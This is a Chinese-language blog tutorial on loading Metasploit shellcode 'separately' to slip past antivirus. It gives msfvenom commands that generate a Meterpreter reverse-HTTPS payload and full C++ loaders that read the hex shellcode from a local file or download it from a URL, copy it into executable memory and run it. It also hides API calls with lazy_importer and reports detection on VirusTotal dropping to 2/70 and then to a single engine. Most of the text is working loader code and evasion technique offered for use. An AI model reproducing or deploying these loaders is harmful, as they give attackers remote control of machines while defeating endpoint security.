![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图](https://blog.eswlnk.com/wp-content/uploads/wpcy/f6b8ad5e16b09a8790086553cd67501a.jpg)
简介
本文深入探讨了如何通过文件加载和远程URL加载方式实现Shellcode分离加载,从而规避安全软件的检测。首先介绍了通过Metasploit Framework生成的shellcode文件加载的过程,并提供了相关的C++代码。
为了规避杀毒软件的检测,文章引入了动态API调用和lazy_importer项目进行代码优化。此外,还探讨了通过远程URL加载shellcode的方法,并提供了相应的实现代码。整篇文章旨在帮助读者理解shellcode分离加载的实现过程和原理,并通过实践操作提升对这一技术的掌握水平。
一、通过文件加载
MSF生成shellcode文件
使用msfvenom生成raw格式的文本文件,并对流量进行加密以防止检测。同时,将生成的shellcode保存为十六进制格式,以避免杀软检测。
msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f raw -o shellcode_raw.txt
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图1 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图1](https://static.eswlnk.com/2023/11/20231111141533849.png-esw)
msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f hex -o shellcode_hex.txt
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图2 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图2](https://static.eswlnk.com/2023/11/20231111141541947.png-esw)
代码实现
这段代码的作用是从一个以十六进制表示的文件中读取shellcode,然后将其加载到内存中,并执行该shellcode
#include <windows.h>
#include <iostream>
#include <fstream>
#include <sstream>
using namespace std;
// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}
// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}
int main()
{
std::ifstream file("shellcode_hex.txt"); //打开指定文件
size_t size; //定义文件内容的字节数
string contents; //定义文件内容
//判断文件是否打开成功
if (file.is_open()) {
std::stringstream buffer; //创建一个stringstream对象
buffer << file.rdbuf(); //将文件的内容复制到该流中
contents = buffer.str(); //将stringstream对象的内容转换string,并将其存储在contents中
size = contents.length()/2; //由于两个十六进制相当于一个字节,因此文件内容长度需除以2
file.close(); //关闭文件
}
//printf("%d\n", size);
//cout << contents;
// 为存储转换后的shellcode分配内存
unsigned char* buffer = (unsigned char*)malloc(size);
// 调用函数将十六进制字符串转换为字节型数组
hexStringToBytes(contents, buffer, size);
// 在内存中分配一块可以执行的区域
void* exec = VirtualAlloc(0, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 将shellcode复制到该区域
memcpy(exec, buffer, size);
// 执行该shellcode
((void(*) ())exec)();
}
代码优化
火绒和WindowsDefender都报毒了, 其原因是内存申请函数VirtualAlloc
被检测到了,那就使用动态调用api来绕过检测
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图3 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图3](https://static.eswlnk.com/2023/11/20231111141752180-1024x348.png-esw)
导入lazy_importer
项目来动态调用系统api, 然后在api函数前面添加上(LI_FN)
,并将函数参数的NULL
替换成nullptr
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图4 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图4](https://static.eswlnk.com/2023/11/20231111141805435-1024x335.png-esw)
修改完代码后360不会报毒了, 上传到virus Total中的进行检测,查杀率为2/70,效果还不错
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图5 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图5](https://static.eswlnk.com/2023/11/20231111141832921-1024x397.png-esw)
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图6 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图6](https://static.eswlnk.com/2023/11/20231111141839597-1024x411.png-esw)
二、通过远程URL加载
通过HTTP服务将shellcode文件放置在服务目录,然后使用远程URL加载。启用HTTP服务的命令为:python -m http.server 8000
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图7 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图7](https://static.eswlnk.com/2023/11/20231111142012516.png-esw)
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图8 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图8](https://static.eswlnk.com/2023/11/20231111142022169-1024x285.png-esw)
代码实现
在基础代码上,添加了GetUrl_HexContent函数,用于从指定URL下载内容并存储到缓冲区,随后加载至内存。
#include <windows.h>
#include <wininet.h>
#pragma comment(lib, "wininet.lib")
#include <iostream>
#include <fstream>
#include <sstream>
#include <vector>
#include "lazy_importer.hpp"
using namespace std;
// 将十六进制中的单个字符转换为相应的整数值
unsigned char hexCharToByte(char character) {
if (character >= '0' && character <= '9') {
return character - '0';
}
if (character >= 'a' && character <= 'f') {
return character - 'a' + 10;
}
if (character >= 'A' && character <= 'F') {
return character - 'A' + 10;
}
return 0;
}
// 将十六进制字符串转换成字节型数组
void hexStringToBytes(const std::string& hexString, unsigned char* byteArray, int byteArraySize) {
for (int i = 0; i < hexString.length(); i += 2) {
byteArray[i / 2] = hexCharToByte(hexString[i]) * 16 + hexCharToByte(hexString[i + 1]);
}
}
/**
* 从指定的URL下载内容并将其存储到给定的缓冲区中。
*
* @param url 要下载的URL
* @param buffer 存储下载内容的缓冲区
* @return 下载的字节数(注意:字节数是原始十六进制字符串长度的一半)
*/
size_t GetUrl_HexContent(LPSTR url, std::vector<unsigned char>& buffer) {
HINTERNET hInternet, hConnect;
DWORD bytesRead;
DWORD bufferSize = 0;
DWORD contentLength = 0;
DWORD index = 0;
DWORD bufferLength = sizeof(bufferSize);
// 打开一个与互联网的连接
hInternet = InternetOpen(L"User Agent", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
if (hInternet == NULL) {
std::cerr << "InternetOpen failed. Error: " << GetLastError() << std::endl;
return 0;
}
// 打开一个URL连接
hConnect = InternetOpenUrlA(hInternet, url, NULL, 0, INTERNET_FLAG_RELOAD, 0);
if (hConnect == NULL) {
std::cerr << "InternetOpenUrlA failed. Error: " << GetLastError() << std::endl;
InternetCloseHandle(hInternet);
return 0;
}
// 查询HTTP响应头中的内容长度
HttpQueryInfo(hConnect, HTTP_QUERY_CONTENT_LENGTH | HTTP_QUERY_FLAG_NUMBER, &contentLength, &bufferLength, &index);
std::vector<char> hexBuffer(contentLength + 1, 0);
// 读取URL返回的内容到hexBuffer中
if (!InternetReadFile(hConnect, &hexBuffer[0], contentLength, &bytesRead)) {
std::cerr << "InternetReadFile failed. Error: " << GetLastError() << std::endl;
}
else if (bytesRead > 0) {
hexBuffer[bytesRead] = '\0';
// 调整buffer的大小,以便存储转换后的字节数据
buffer.resize(bytesRead / 2);
// 将十六进制字符串转换为字节型数组
hexStringToBytes(&hexBuffer[0], &buffer[0], bytesRead / 2);
}
// 关闭连接
InternetCloseHandle(hConnect);
InternetCloseHandle(hInternet);
// 返回读取到的字节数(注意:字节数是原始十六进制字符串长度的一半)
return bytesRead / 2;
}
int main() {
// 把这个URL换成你的shellcode文件的URL
LPSTR url = (char*)"http://127.0.0.1:8000/shellcode_hex.txt";
//存放恶意代码的数组
std::vector<unsigned char> buffer;
//获取远程url的16进制内容,并将其存放至buffer数组
size_t size = GetUrl_HexContent(url, buffer);
// 在内存中分配一块可以执行的区域
char* exec = (char*)LI_FN(VirtualAlloc)(nullptr, size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 将shellcode复制到该区域
memcpy(exec, buffer.data(), size);
// 执行该shellcode
((void(*) ())exec)();
// 打印buffer的内容,只为演示,实际使用中可能并不需要这一步
/*for (size_t i = 0; i < buffer.size(); i++) {
printf("%02X ", buffer[i]);
if ((i + 1) % 16 == 0) {
printf("\n");
}
}*/
return 0;
}
VirusTotal检测只有一个报毒
![「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图9 「攻防对抗」Shellcode分离加载全攻略 | 实现绕过安全软件检测的文件加载与远程URL加载技术插图9](https://static.eswlnk.com/2023/11/20231111142051490-1024x538.png-esw)
📮评论